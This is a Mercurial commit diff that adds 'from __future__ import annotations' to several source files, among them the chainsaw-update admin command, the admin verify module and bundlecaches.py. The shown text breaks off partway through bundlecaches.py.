typing: add `from __future__ import annotations` to remaining source files

Most of these look newer than when the original imports referenced in the
previous commit were dropped, so these weren't covered by the backout.  These
were found with:

    hg files mercurial hgext hgext3rd -I '**.py' -X '**/thirdparty' \
        | xargs grep -L 'from __future__ import annotations'

All of the `__init__.py` files that finds are empty, so those were ignored and
the rest manually edited.

hgext/purge.py

@@ -1,39 +1,42
 # Copyright (C) 2006 - Marco Barisione <[e-mail]>
 #
 # This is a small extension for Mercurial (https://mercurial-scm.org/)
 # that removes files not known to mercurial
 #
 # This program was inspired by the "cvspurge" script contained in CVS
 # utilities (http://www.red-bean.com/cvsutils/).
 #
 # For help on the usage of "hg purge" use:
 #  hg help purge
 #
 # This program is free software; you can redistribute it and/or modify
 # it under the terms of the GNU General Public License as published by
 # the Free Software Foundation; either version 2 of the License, or
 # (at your option) any later version.
 #
 # This program is distributed in the hope that it will be useful,
 # but WITHOUT ANY WARRANTY; without even the implied warranty of
 # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 # GNU General Public License for more details.
 #
 # You should have received a copy of the GNU General Public License
 # along with this program; if not, see <http://www.gnu.org/licenses/>.
 
 '''command to delete untracked files from the working directory (DEPRECATED)
 
 The functionality of this extension has been included in core Mercurial since
 version 5.7. Please use :hg:`purge ...` instead. :hg:`purge --confirm` is now
 the default, unless the extension is enabled for backward compatibility.
 '''
 
 # This empty extension looks pointless, but core mercurial checks if it's loaded
 # to implement the slightly different behavior documented above.
 
 # Note for extension authors: ONLY specify testedwith = 'ships-with-hg-core' for
 # extensions which SHIP WITH MERCURIAL. Non-mainline extensions should
 # be specifying the version(s) of Mercurial they are tested with, or
 # leave the attribute unspecified.
+
+from __future__ import annotations
+
 testedwith = b'ships-with-hg-core'

mercurial/__main__.py

@@ -1,12 +1,15
+from __future__ import annotations
+
+
 def run():
     from . import demandimport
 
     with demandimport.tracing.log('hg script'):
         demandimport.enable()
         from . import dispatch
 
         dispatch.run()
 
 
 if __name__ == '__main__':
     run()

mercurial/admin/chainsaw.py

@@ -1,226 +1,228
 # chainsaw.py
 #
 # Copyright 2022 Georges Racinet <[e-mail]>
 #
 # This software may be used and distributed according to the terms of the
 # GNU General Public License version 2 or any later version.
 """chainsaw is a collection of single-minded and dangerous tools. (EXPERIMENTAL)
 
   "Don't use a chainsaw to cut your food!"
 
 The chainsaw is a collection of commands that are so much geared towards a
 specific use case in a specific context or environment that they are totally
 inappropriate and **really dangerous** in other contexts.
 
 The help text of each command explicitly summarizes its context of application
 and the wanted end result.
 
 It is recommended to run these commands with the ``HGPLAIN`` environment
 variable (see :hg:`help scripting`).
 """
 
+from __future__ import annotations
+
 import shutil
 
 from ..i18n import _
 from .. import (
     cmdutil,
     commands,
     error,
     localrepo,
     registrar,
 )
 from ..utils import (
     urlutil,
 )
 
 cmdtable = {}
 command = registrar.command(cmdtable)
 
 
 @command(
     b'admin::chainsaw-update',
     [
         (
             b'',
             b'purge-unknown',
             True,
             _(
                 b'Remove unversioned files before update. Disabling this can '
                 b'in some cases interfere with the update.'
                 b'See also :hg:`purge`.'
             ),
         ),
         (
             b'',
             b'purge-ignored',
             True,
             _(
                 b'Remove ignored files before update. Disable this for '
                 b'instance to reuse previous compiler object files. '
                 b'See also :hg:`purge`.'
             ),
         ),
         (
             b'',
             b'rev',
             b'',
             _(b'revision to update to'),
         ),
         (
             b'',
             b'source',
             b'',
             _(b'repository to clone from'),
         ),
         (
             b'',
             b'dest',
             b'',
             _(b'repository to update to REV (possibly cloning)'),
         ),
         (
             b'',
             b'initial-clone-minimal',
             False,
             _(
                 b'Pull only the prescribed revision upon initial cloning. '
                 b'This has the side effect of ignoring clone-bundles, '
                 b'which if often slower on the client side and stressful '
                 b'to the server than applying available clone bundles.'
             ),
         ),
     ],
     _(
         b'hg admin::chainsaw-update [OPTION] --rev REV --source SOURCE --dest DEST'
     ),
     helpbasic=True,
     norepo=True,
 )
 def update(ui, **opts):
     """pull and update to a given revision, no matter what, (EXPERIMENTAL)
 
     Context of application: *some* Continuous Integration (CI) systems,
     packaging or deployment tools.
 
     Wanted end result: local repository at the given REPO_PATH, having the
     latest changes to the given revision and with a clean working directory
     updated at the given revision.
 
     chainsaw-update pulls from one source, then updates the working directory
     to the given revision, overcoming anything that would stand in the way.
 
     By default, it will:
 
     - clone if the local repo does not exist yet, **removing any directory
       at the given path** that would not be a Mercurial repository.
       The initial clone is full by default, so that clonebundles can be
       applied. Use the --initial-clone-minimal flag to avoid this.
     - break locks if needed, leading to possible corruption if there
       is a concurrent write access.
     - perform recovery actions if needed
     - revert any local modification.
     - purge unknown and ignored files.
     - go as far as to reclone if everything else failed (not implemented yet).
 
     DO NOT use it for anything else than performing a series
     of unattended updates, with full exclusive repository access each time
     and without any other local work than running build scripts.
     In case the local repository is a share (see :hg:`help share`), exclusive
     write access to the share source is also mandatory.
 
     It is recommended to run these commands with the ``HGPLAIN`` environment
     variable (see :hg:`scripting`).
 
     Motivation: in Continuous Integration and Delivery systems (CI/CD), the
     occasional remnant or bogus lock are common sources of waste of time (both
     working time and calendar time). CI/CD scripts tend to grow with counter-
     measures, often done in urgency. Also, whilst it is neat to keep
     repositories from one job to the next (especially with large
     repositories), an exceptional recloning is better than missing a release
     deadline.
     """
     rev = opts['rev']
     source = opts['source']
     repo_path = opts['dest']
     if not rev:
         raise error.InputError(_(b'specify a target revision with --rev'))
     if not source:
         raise error.InputError(_(b'specify a pull path with --source'))
     if not repo_path:
         raise error.InputError(_(b'specify a repo path with --dest'))
     repo_path = urlutil.urllocalpath(repo_path)
 
     try:
         repo = localrepo.instance(ui, repo_path, create=False)
         repo_created = False
         ui.status(_(b'loaded repository at "%s"\n' % repo_path))
     except error.RepoError:
         try:
             shutil.rmtree(repo_path)
         except FileNotFoundError:
             ui.status(_(b'no such directory: "%s"\n' % repo_path))
         else:
             ui.status(
                 _(
                     b'removed non-repository file or directory '
                     b'at "%s"' % repo_path
                 )
             )
 
         ui.status(_(b'creating repository at "%s"\n' % repo_path))
         repo = localrepo.instance(ui, repo_path, create=True)
         repo_created = True
 
     if repo.svfs.tryunlink(b'lock'):
         ui.status(_(b'had to break store lock\n'))
     if repo.vfs.tryunlink(b'wlock'):
         ui.status(_(b'had to break working copy lock\n'))
     # If another process relock after the breacking above, the next locking
     # will have to wait.
     with repo.wlock(), repo.lock():
         ui.status(_(b'recovering after interrupted transaction, if any\n'))
         repo.recover()
 
         ui.status(_(b'pulling from %s\n') % source)
         if repo_created and not opts.get('initial_clone_minimal'):
             pull_revs = []
         else:
             pull_revs = [rev]
         overrides = {(b'ui', b'quiet'): True}
         with repo.ui.configoverride(overrides, b'chainsaw-update'):
             pull = cmdutil.findcmd(b'pull', commands.table)[1][0]
             ret = pull(
                 repo.ui,
                 repo,
                 source,
                 rev=pull_revs,
                 remote_hidden=False,
             )
             if ret:
                 return ret
 
         purge = cmdutil.findcmd(b'purge', commands.table)[1][0]
         ret = purge(
             ui,
             repo,
             dirs=True,
             all=opts.get('purge_ignored'),
             files=opts.get('purge_unknown'),
             confirm=False,
         )
         if ret:
             return ret
 
         ui.status(_(b'updating to revision \'%s\'\n') % rev)
         update = cmdutil.findcmd(b'update', commands.table)[1][0]
         ret = update(ui, repo, rev=rev, clean=True)
         if ret:
             return ret
 
         ui.status(
             _(
                 b'chainsaw-update to revision \'%s\' '
                 b'for repository at \'%s\' done\n'
             )
             % (rev, repo.root)
         )

mercurial/admin/verify.py

@@ -1,340 +1,342
 # admin/verify.py - better repository integrity checking for Mercurial
 #
 # Copyright 2023 Octobus <[e-mail]>
 #
 # This software may be used and distributed according to the terms of the
 # GNU General Public License version 2 or any later version.
 
+from __future__ import annotations
+
 import collections
 import copy
 import functools
 
 from ..i18n import _
 from .. import error, pycompat, registrar, requirements
 from ..utils import stringutil
 
 
 verify_table = {}
 verify_alias_table = {}
 check = registrar.verify_check(verify_table, verify_alias_table)
 
 
 # Use this to declare options/aliases in the middle of the hierarchy.
 # Checks like these are not run themselves and cannot have a body.
 # For an example, see the `revlogs` check.
 def noop_func(*args, **kwargs):
     return
 
 
 @check(b"working-copy.dirstate", alias=b"dirstate")
 def check_dirstate(ui, repo, **options):
     ui.status(_(b"checking dirstate\n"))
 
     parent1, parent2 = repo.dirstate.parents()
     m1 = repo[parent1].manifest()
     m2 = repo[parent2].manifest()
     errors = 0
 
     is_narrow = requirements.NARROW_REQUIREMENT in repo.requirements
     narrow_matcher = repo.narrowmatch() if is_narrow else None
     for err in repo.dirstate.verify(m1, m2, parent1, narrow_matcher):
         ui.warn(err)
         errors += 1
 
     return errors
 
 
 # Tree of all checks and their associated function
 pyramid = {}
 
 
 def build_pyramid(table, full_pyramid):
     """Create a pyramid of checks of the registered checks.
     It is a name-based hierarchy that can be arbitrarily nested."""
     for entry, func in sorted(table.items(), key=lambda x: x[0], reverse=True):
         cursor = full_pyramid
         levels = entry.split(b".")
         for level in levels[:-1]:
             current_node = cursor.setdefault(level, {})
             cursor = current_node
         if cursor.get(levels[-1]) is None:
             cursor[levels[-1]] = (entry, func)
         elif func is not noop_func:
             m = b"intermediate checks need to use `verify.noop_func`"
             raise error.ProgrammingError(m)
 
 
 def find_checks(name, table=None, alias_table=None, full_pyramid=None):
     """Find all checks for a given name and returns a dict of
     (qualified_check_name, check_function)
 
     # Examples
 
     Using a full qualified name:
     "working-copy.dirstate" -> {
         "working-copy.dirstate": CF,
     }
 
     Using a *prefix* of a qualified name:
     "store.revlogs" -> {
         "store.revlogs.changelog": CF,
         "store.revlogs.manifestlog": CF,
         "store.revlogs.filelog": CF,
     }
 
     Using a defined alias:
     "revlogs" -> {
         "store.revlogs.changelog": CF,
         "store.revlogs.manifestlog": CF,
         "store.revlogs.filelog": CF,
     }
 
     Using something that is none of the above will be an error.
     """
     if table is None:
         table = verify_table
     if alias_table is None:
         alias_table = verify_alias_table
 
     if name == b"full":
         return table
     checks = {}
 
     # is it a full name?
     check = table.get(name)
 
     if check is None:
         # is it an alias?
         qualified_name = alias_table.get(name)
         if qualified_name is not None:
             name = qualified_name
             check = table.get(name)
         else:
             split = name.split(b".", 1)
             if len(split) == 2:
                 # split[0] can be an alias
                 qualified_name = alias_table.get(split[0])
                 if qualified_name is not None:
                     name = b"%s.%s" % (qualified_name, split[1])
                     check = table.get(name)
     else:
         qualified_name = name
 
     # Maybe it's a subtree in the check hierarchy that does not
     # have an explicit alias.
     levels = name.split(b".")
     if full_pyramid is not None:
         if not full_pyramid:
             build_pyramid(table, full_pyramid)
 
         pyramid.clear()
         pyramid.update(full_pyramid.items())
     else:
         build_pyramid(table, pyramid)
 
     subtree = pyramid
     # Find subtree
     for level in levels:
         subtree = subtree.get(level)
         if subtree is None:
             hint = error.getsimilar(list(alias_table) + list(table), name)
             hint = error.similarity_hint(hint)
 
             raise error.InputError(_(b"unknown check %s" % name), hint=hint)
 
     # Get all checks in that subtree
     if isinstance(subtree, dict):
         stack = list(subtree.items())
         while stack:
             current_name, entry = stack.pop()
             if isinstance(entry, dict):
                 stack.extend(entry.items())
             else:
                 # (qualified_name, func)
                 checks[entry[0]] = entry[1]
     else:
         checks[name] = check
 
     return checks
 
 
 def pass_options(
     ui,
     checks,
     options,
     table=None,
     alias_table=None,
     full_pyramid=None,
 ):
     """Given a dict of checks (fully qualified name to function), and a list
     of options as given by the user, pass each option down to the right check
     function."""
     ui.debug(b"passing options to check functions\n")
     to_modify = collections.defaultdict(dict)
 
     if not checks:
         raise error.Error(_(b"`checks` required"))
 
     for option in sorted(options):
         split = option.split(b":")
         hint = _(
             b"syntax is 'check:option=value', "
             b"eg. revlogs.changelog:copies=yes"
         )
         option_error = error.InputError(
             _(b"invalid option '%s'") % option, hint=hint
         )
         if len(split) != 2:
             raise option_error
 
         check_name, option_value = split
         if not option_value:
             raise option_error
 
         split = option_value.split(b"=")
         if len(split) != 2:
             raise option_error
 
         option_name, value = split
         if not value:
             raise option_error
 
         path = b"%s:%s" % (check_name, option_name)
 
         matching_checks = find_checks(
             check_name,
             table=table,
             alias_table=alias_table,
             full_pyramid=full_pyramid,
         )
         for name in matching_checks:
             check = checks.get(name)
             if check is None:
                 msg = _(b"specified option '%s' for unselected check '%s'\n")
                 raise error.InputError(msg % (name, option_name))
 
             assert hasattr(check, "func")  # help Pytype
 
             if not hasattr(check.func, "options"):
                 raise error.InputError(
                     _(b"check '%s' has no option '%s'") % (name, option_name)
                 )
 
             try:
                 matching_option = next(
                     (o for o in check.func.options if o[0] == option_name)
                 )
             except StopIteration:
                 raise error.InputError(
                     _(b"check '%s' has no option '%s'") % (name, option_name)
                 )
 
             # transform the argument from cli string to the expected Python type
             _name, typ, _docstring = matching_option
 
             as_typed = None
             if isinstance(typ, bool):
                 as_bool = stringutil.parsebool(value)
                 if as_bool is None:
                     raise error.InputError(
                         _(b"'%s' is not a boolean ('%s')") % (path, value)
                     )
                 as_typed = as_bool
             elif isinstance(typ, list):
                 as_list = stringutil.parselist(value)
                 if as_list is None:
                     raise error.InputError(
                         _(b"'%s' is not a list ('%s')") % (path, value)
                     )
                 as_typed = as_list
             else:
                 raise error.ProgrammingError(b"unsupported type %s", type(typ))
 
             if option_name in to_modify[name]:
                 raise error.InputError(
                     _(b"duplicated option '%s' for '%s'") % (option_name, name)
                 )
             else:
                 assert as_typed is not None
                 to_modify[name][option_name] = as_typed
 
     # Manage case where a check is set but without command line options
     # it will later be set with default check options values
     for name, f in checks.items():
         if name not in to_modify:
             to_modify[name] = {}
 
     # Merge default options with command line options
     for check_name, cmd_options in to_modify.items():
         check = checks.get(check_name)
         func = checks[check_name]
         merged_options = {}
         # help Pytype
         assert check is not None
         assert check.func is not None
         assert hasattr(check.func, "options")
 
         if check.func.options:
             # copy the default value in case it's mutable (list, etc.)
             merged_options = {
                 o[0]: copy.deepcopy(o[1]) for o in check.func.options
             }
             if cmd_options:
                 for k, v in cmd_options.items():
                     merged_options[k] = v
         options = pycompat.strkwargs(merged_options)
         checks[check_name] = functools.partial(func, **options)
         ui.debug(b"merged options for '%s': '%r'\n" % (check_name, options))
 
     return checks
 
 
 def get_checks(
     repo,
     ui,
     names=None,
     options=None,
     table=None,
     alias_table=None,
     full_pyramid=None,
 ):
     """Given a list of function names and optionally a list of
     options, return matched checks with merged options (command line options
     values take precedence on default ones)
 
     It runs find checks, then resolve options and returns a dict of matched
     functions with resolved options.
     """
     funcs = {}
 
     if names is None:
         names = []
 
     if options is None:
         options = []
 
     # find checks
     for name in names:
         matched = find_checks(
             name,
             table=table,
             alias_table=alias_table,
             full_pyramid=full_pyramid,
         )
         matched_names = b", ".join(matched)
         ui.debug(b"found checks '%s' for name '%s'\n" % (matched_names, name))
         funcs.update(matched)
 
     funcs = {n: functools.partial(f, ui, repo) for n, f in funcs.items()}
 
     # resolve options
     checks = pass_options(
         ui,
         funcs,
         options,
         table=table,
         alias_table=alias_table,
         full_pyramid=full_pyramid,
     )
 
     return checks

mercurial/admin_commands.py

@@ -1,50 +1,52
 # admin_commands.py - command processing for admin* commands
 #
 # Copyright 2022 Mercurial Developers
 #
 # This software may be used and distributed according to the terms of the
 # GNU General Public License version 2 or any later version.
 
+from __future__ import annotations
+
 from .i18n import _
 from .admin import chainsaw, verify
 from . import error, registrar, transaction
 
 
 table = {}
 table.update(chainsaw.command._table)
 command = registrar.command(table)
 
 
 @command(
     b'admin::verify',
     [
         (b'c', b'check', [], _(b'add a check'), _(b'CHECK')),
         (b'o', b'option', [], _(b'pass an option to a check'), _(b'OPTION')),
     ],
     helpcategory=command.CATEGORY_MAINTENANCE,
 )
 def admin_verify(ui, repo, **opts):
     """verify the integrity of the repository
 
     Alternative UI to `hg verify` with a lot more control over the
     verification process and better error reporting.
     """
 
     if not repo.url().startswith(b'file:'):
         raise error.Abort(_(b"cannot verify bundle or remote repos"))
 
     if transaction.has_abandoned_transaction(repo):
         ui.warn(_(b"abandoned transaction found - run hg recover\n"))
 
     checks = opts.get("check", [])
     options = opts.get("option", [])
 
     funcs = verify.get_checks(repo, ui, names=checks, options=options)
 
     ui.status(_(b"running %d checks\n") % len(funcs))
     # Done in two times so the execution is separated from the resolving step
     for name, func in sorted(funcs.items(), key=lambda x: x[0]):
         ui.status(_(b"running %s\n") % name)
         errors = func()
         if errors:
             ui.warn(_(b"found %d errors\n") % errors)

mercurial/bundlecaches.py

@@ -1,568 +1,570
 # bundlecaches.py - utility to deal with pre-computed bundle for servers
 #
 # This software may be used and distributed according to the terms of the
 # GNU General Public License version 2 or any later version.
 
+from __future__ import annotations
+
 import collections
 import typing
 
 from typing import (
     Dict,
     Union,
     cast,
 )
 
 from .i18n import _
 
 from .thirdparty import attr
 
 # Force pytype to use the non-vendored package
 if typing.TYPE_CHECKING:
     # noinspection PyPackageRequirements
     import attr
 
 from . import (
     error,
     requirements as requirementsmod,
     sslutil,
     util,
 )
 from .utils import stringutil
 
 urlreq = util.urlreq
 
 BUNDLE_CACHE_DIR = b'bundle-cache'
 CB_MANIFEST_FILE = b'clonebundles.manifest'
 CLONEBUNDLESCHEME = b"peer-bundle-cache://"
 
 
 def get_manifest(repo) -> bytes:
     """get the bundle manifest to be served to a client from a server"""
     raw_text = repo.vfs.tryread(CB_MANIFEST_FILE)
     entries = [e.split(b' ', 1) for e in raw_text.splitlines()]
 
     new_lines = []
     for e in entries:
         url = alter_bundle_url(repo, e[0])
         if len(e) == 1:
             line = url + b'\n'
         else:
             line = b"%s %s\n" % (url, e[1])
         new_lines.append(line)
     return b''.join(new_lines)
 
 
 def alter_bundle_url(repo, url: bytes) -> bytes:
     """a function that exist to help extension and hosting to alter the url
 
     This will typically be used to inject authentication information in the url
     of cached bundles."""
     return url
 
 
 SUPPORTED_CLONEBUNDLE_SCHEMES = [
     b"http://",
     b"https://",
     b"largefile://",
     CLONEBUNDLESCHEME,
 ]
 
 
 @attr.s
 class bundlespec:
     compression = attr.ib()
     wirecompression = attr.ib()
     version = attr.ib()
     wireversion = attr.ib()
     # parameters explicitly overwritten by the config or the specification
     _explicit_params = attr.ib()
     # default parameter for the version
     #
     # Keeping it separated is useful to check what was actually overwritten.
     _default_opts = attr.ib()
 
     @property
     def params(self):
         return collections.ChainMap(self._explicit_params, self._default_opts)
 
     @property
     def contentopts(self):
         # kept for Backward Compatibility concerns.
         return self.params
 
     def set_param(self, key, value, overwrite=True):
         """Set a bundle parameter value.
 
         Will only overwrite if overwrite is true"""
         if overwrite or key not in self._explicit_params:
             self._explicit_params[key] = value
 
     def as_spec(self):
         parts = [b"%s-%s" % (self.compression, self.version)]
         for param in sorted(self._explicit_params.items()):
             parts.append(b'%s=%s' % param)
         return b';'.join(parts)
 
 
 # Maps bundle version human names to changegroup versions.
 _bundlespeccgversions = {
     b'v1': b'01',
     b'v2': b'02',
     b'v3': b'03',
     b'packed1': b's1',
     b'bundle2': b'02',  # legacy
 }
 
 # Maps bundle version with content opts to choose which part to bundle
 _bundlespeccontentopts: Dict[bytes, Dict[bytes, Union[bool, bytes]]] = {
     b'v1': {
         b'changegroup': True,
         b'cg.version': b'01',
         b'obsolescence': False,
         b'phases': False,
         b'tagsfnodescache': False,
         b'revbranchcache': False,
     },
     b'v2': {
         b'changegroup': True,
         b'cg.version': b'02',
         b'obsolescence': False,
         b'phases': False,
         b'tagsfnodescache': True,
         b'revbranchcache': True,
     },
     b'v3': {
         b'changegroup': True,
         b'cg.version': b'03',
         b'obsolescence': False,
         b'phases': True,
         b'tagsfnodescache': True,
         b'revbranchcache': True,
     },
     b'streamv2': {
         b'changegroup': False,
         b'cg.version': b'02',
         b'obsolescence': False,
         b'phases': False,
         b"stream": b"v2",
         b'tagsfnodescache': False,
         b'revbranchcache': False,
     },
     b'streamv3-exp': {
         b'changegroup': False,
         b'cg.version': b'03',
         b'obsolescence': False,
         b'phases': False,
         b"stream": b"v3-exp",
         b'tagsfnodescache': False,
         b'revbranchcache': False,
     },
     b'packed1': {
         b'cg.version': b's1',
     },
     b'bundle2': {  # legacy
         b'cg.version': b'02',
     },
 }
 _bundlespeccontentopts[b'bundle2'] = _bundlespeccontentopts[b'v2']
 
 # Compression engines allowed in version 1. THIS SHOULD NEVER CHANGE.
 _bundlespecv1compengines = {b'gzip', b'bzip2', b'none'}
 
 
 def param_bool(key, value):
     """make a boolean out of a parameter value"""
     b = stringutil.parsebool(value)
     if b is None:
         msg = _(b"parameter %s should be a boolean ('%s')")
         msg %= (key, value)
         raise error.InvalidBundleSpecification(msg)
     return b
 
 
 # mapping of known parameter name need their value processed
 bundle_spec_param_processing = {
     b"obsolescence": param_bool,
     b"obsolescence-mandatory": param_bool,
     b"phases": param_bool,
     b"changegroup": param_bool,
     b"tagsfnodescache": param_bool,
     b"revbranchcache": param_bool,
 }
 
 
 def _parseparams(s):
     """parse bundlespec parameter section
 
     input: "comp-version;params" string
 
     return: (spec; {param_key: param_value})
     """
     if b';' not in s:
         return s, {}
 
     params = {}
     version, paramstr = s.split(b';', 1)
 
     err = _(b'invalid bundle specification: missing "=" in parameter: %s')
     for p in paramstr.split(b';'):
         if b'=' not in p:
             msg = err % p
             raise error.InvalidBundleSpecification(msg)
 
         key, value = p.split(b'=', 1)
         key = urlreq.unquote(key)
         value = urlreq.unquote(value)
         process = bundle_spec_param_processing.get(key)
         if process is not None:
             value = process(key, value)
         params[key] = value
 
     return version, params
 
 
 def parsebundlespec(repo, spec, strict=True):
     """Parse a bundle string specification into parts.
 
     Bundle specifications denote a well-defined bundle/exchange format.
     The content of a given specification should not change over time in
     order to ensure that bundles produced by a newer version of Mercurial are
     readable from an older version.
 
     The string currently has the form:
 
        <compression>-<type>[;<parameter0>[;<parameter1>]]
 
     Where <compression> is one of the supported compression formats
     and <type> is (currently) a version string. A ";" can follow the type and
     all text afterwards is interpreted as URI encoded, ";" delimited key=value
     pairs.
 
     If ``strict`` is True (the default) <compression> is required. Otherwise,
     it is optional.
 
     Returns a bundlespec object of (compression, version, parameters).
     Compression will be ``None`` if not in strict mode and a compression isn't
     defined.
 
     An ``InvalidBundleSpecification`` is raised when the specification is
     not syntactically well formed.
 
     An ``UnsupportedBundleSpecification`` is raised when the compression or
     bundle type/version is not recognized.
 
     Note: this function will likely eventually return a more complex data
     structure, including bundle2 part information.
     """
     if strict and b'-' not in spec:
         raise error.InvalidBundleSpecification(
             _(
                 b'invalid bundle specification; '
                 b'must be prefixed with compression: %s'
             )
             % spec
         )
 
     pre_args = spec.split(b';', 1)[0]
     if b'-' in pre_args:
         compression, version = spec.split(b'-', 1)
 
         if compression not in util.compengines.supportedbundlenames:
             raise error.UnsupportedBundleSpecification(
                 _(b'%s compression is not supported') % compression
             )
 
         version, params = _parseparams(version)
 
         if version not in _bundlespeccontentopts:
             raise error.UnsupportedBundleSpecification(
                 _(b'%s is not a recognized bundle version') % version
             )
     else:
         # Value could be just the compression or just the version, in which
         # case some defaults are assumed (but only when not in strict mode).
         assert not strict
 
         spec, params = _parseparams(spec)
 
         if spec in util.compengines.supportedbundlenames:
             compression = spec
             version = b'v1'
             # Generaldelta repos require v2.
             if requirementsmod.GENERALDELTA_REQUIREMENT in repo.requirements:
                 version = b'v2'
             elif requirementsmod.REVLOGV2_REQUIREMENT in repo.requirements:
                 version = b'v2'
             # Modern compression engines require v2.
             if compression not in _bundlespecv1compengines:
                 version = b'v2'
         elif spec in _bundlespeccontentopts:
             if spec == b'packed1':
                 compression = b'none'
             else:
                 compression = b'bzip2'
             version = spec
         else:
             raise error.UnsupportedBundleSpecification(
                 _(b'%s is not a recognized bundle specification') % spec
             )
 
     # Bundle version 1 only supports a known set of compression engines.
     if version == b'v1' and compression not in _bundlespecv1compengines:
         raise error.UnsupportedBundleSpecification(
             _(b'compression engine %s is not supported on v1 bundles')
             % compression
         )
 
     # The specification for packed1 can optionally declare the data formats
     # required to apply it. If we see this metadata, compare against what the
     # repo supports and error if the bundle isn't compatible.
     if version == b'packed1' and b'requirements' in params:
         requirements = set(cast(bytes, params[b'requirements']).split(b','))
         missingreqs = requirements - requirementsmod.STREAM_FIXED_REQUIREMENTS
         if missingreqs:
             raise error.UnsupportedBundleSpecification(
                 _(b'missing support for repository features: %s')
                 % b', '.join(sorted(missingreqs))
             )
 
     # Compute contentopts based on the version
     if b"stream" in params:
         # This case is fishy as this mostly derails the version selection
         # mechanism. `stream` bundles are quite specific and used differently
         # as "normal" bundles.
         #
         # (we should probably define a cleaner way to do this and raise a
         # warning when the old way is encountered)
         if params[b"stream"] == b"v2":
             version = b"streamv2"
         if params[b"stream"] == b"v3-exp":
             version = b"streamv3-exp"
     contentopts = _bundlespeccontentopts.get(version, {}).copy()
     if version == b"streamv2" or version == b"streamv3-exp":
         # streamv2 have been reported as "v2" for a while.
         version = b"v2"
 
     engine = util.compengines.forbundlename(compression)
     compression, wirecompression = engine.bundletype()
     wireversion = _bundlespeccontentopts[version][b'cg.version']
 
     return bundlespec(
         compression, wirecompression, version, wireversion, params, contentopts
     )
 
 
 def parseclonebundlesmanifest(repo, s):
     """Parses the raw text of a clone bundles manifest.
 
     Returns a list of dicts. The dicts have a ``URL`` key corresponding
     to the URL and other keys are the attributes for the entry.
     """
     m = []
     for line in s.splitlines():
         fields = line.split()
         if not fields:
             continue
         attrs = {b'URL': fields[0]}
         for rawattr in fields[1:]:
             key, value = rawattr.split(b'=', 1)
             key = util.urlreq.unquote(key)
             value = util.urlreq.unquote(value)
             attrs[key] = value
 
             # Parse BUNDLESPEC into components. This makes client-side
             # preferences easier to specify since you can prefer a single
             # component of the BUNDLESPEC.
             if key == b'BUNDLESPEC':
                 try:
                     bundlespec = parsebundlespec(repo, value)
                     attrs[b'COMPRESSION'] = bundlespec.compression
                     attrs[b'VERSION'] = bundlespec.version
                 except error.InvalidBundleSpecification:
                     pass
                 except error.UnsupportedBundleSpecification:
                     pass
 
         m.append(attrs)
 
     return m
 
 
 def isstreamclonespec(bundlespec):
     # Stream clone v1
     if bundlespec.wirecompression == b'UN' and bundlespec.wireversion == b's1':
         return True
 
     # Stream clone v2
     if (
         bundlespec.wirecompression == b'UN'
         and bundlespec.wireversion == b'02'
         and bundlespec.contentopts.get(b'stream', None) in (b"v2", b"v3-exp")
     ):
         return True
 
     return False
 
 
 def filterclonebundleentries(
     repo, entries, streamclonerequested=False, pullbundles=False
 ):
     """Remove incompatible clone bundle manifest entries.
 
     Accepts a list of entries parsed with ``parseclonebundlesmanifest``
     and returns a new list consisting of only the entries that this client
     should be able to apply.
 
     There is no guarantee we'll be able to apply all returned entries because
     the metadata we use to filter on may be missing or wrong.
     """
     newentries = []
     for entry in entries:
         url = entry.get(b'URL')
         if not pullbundles and not any(
             [url.startswith(scheme) for scheme in SUPPORTED_CLONEBUNDLE_SCHEMES]
         ):
             repo.ui.debug(
                 b'filtering %s because not a supported clonebundle scheme\n'
                 % url
             )
             continue
 
         spec = entry.get(b'BUNDLESPEC')
         if spec:
             try:
                 bundlespec = parsebundlespec(repo, spec, strict=True)
 
                 # If a stream clone was requested, filter out non-streamclone
                 # entries.
                 if streamclonerequested and not isstreamclonespec(bundlespec):
                     repo.ui.debug(
                         b'filtering %s because not a stream clone\n' % url
                     )
                     continue
 
             except error.InvalidBundleSpecification as e:
                 repo.ui.debug(stringutil.forcebytestr(e) + b'\n')
                 continue
             except error.UnsupportedBundleSpecification as e:
                 repo.ui.debug(
                     b'filtering %s because unsupported bundle '
                     b'spec: %s\n' % (url, stringutil.forcebytestr(e))
                 )
                 continue
         # If we don't have a spec and requested a stream clone, we don't know
         # what the entry is so don't attempt to apply it.
         elif streamclonerequested:
             repo.ui.debug(
                 b'filtering %s because cannot determine if a stream '
                 b'clone bundle\n' % url
             )
             continue
 
         if b'REQUIRESNI' in entry and not sslutil.hassni:
             repo.ui.debug(b'filtering %s because SNI not supported\n' % url)
             continue
 
         if b'REQUIREDRAM' in entry:
             try:
                 requiredram = util.sizetoint(entry[b'REQUIREDRAM'])
             except error.ParseError:
                 repo.ui.debug(
                     b'filtering %s due to a bad REQUIREDRAM attribute\n' % url
                 )
                 continue
             actualram = repo.ui.estimatememory()
             if actualram is not None and actualram * 0.66 < requiredram:
                 repo.ui.debug(
                     b'filtering %s as it needs more than 2/3 of system memory\n'
                     % url
                 )
                 continue
 
         newentries.append(entry)
 
     return newentries
 
 
 class clonebundleentry:
     """Represents an item in a clone bundles manifest.
 
     This rich class is needed to support sorting since sorted() in Python 3
     doesn't support ``cmp`` and our comparison is complex enough that ``key=``
     won't work.
     """
 
     def __init__(self, value, prefers):
         self.value = value
         self.prefers = prefers
 
     def _cmp(self, other):
         for prefkey, prefvalue in self.prefers:
             avalue = self.value.get(prefkey)
             bvalue = other.value.get(prefkey)
 
             # Special case for b missing attribute and a matches exactly.
             if avalue is not None and bvalue is None and avalue == prefvalue:
                 return -1
 
             # Special case for a missing attribute and b matches exactly.
             if bvalue is not None and avalue is None and bvalue == prefvalue:
                 return 1
 
             # We can't compare unless attribute present on both.
             if avalue is None or bvalue is None:
                 continue
 
             # Same values should fall back to next attribute.
             if avalue == bvalue:
                 continue
 
             # Exact matches come first.
             if avalue == prefvalue:
                 return -1
             if bvalue == prefvalue:
                 return 1
 
             # Fall back to next attribute.
             continue
 
         # If we got here we couldn't sort by attributes and prefers. Fall
         # back to index order.
         return 0
 
     def __lt__(self, other):
         return self._cmp(other) < 0
 
     def __gt__(self, other):
         return self._cmp(other) > 0
 
     def __eq__(self, other):
         return self._cmp(other) == 0
 
     def __le__(self, other):
         return self._cmp(other) <= 0
 
     def __ge__(self, other):
         return self._cmp(other) >= 0
 
     def __ne__(self, other):
         return self._cmp(other) != 0
 
 
 def sortclonebundleentries(ui, entries):
     prefers = ui.configlist(b'ui', b'clonebundleprefers')
     if not prefers:
         return list(entries)
 
     def _split(p):
         if b'=' not in p:
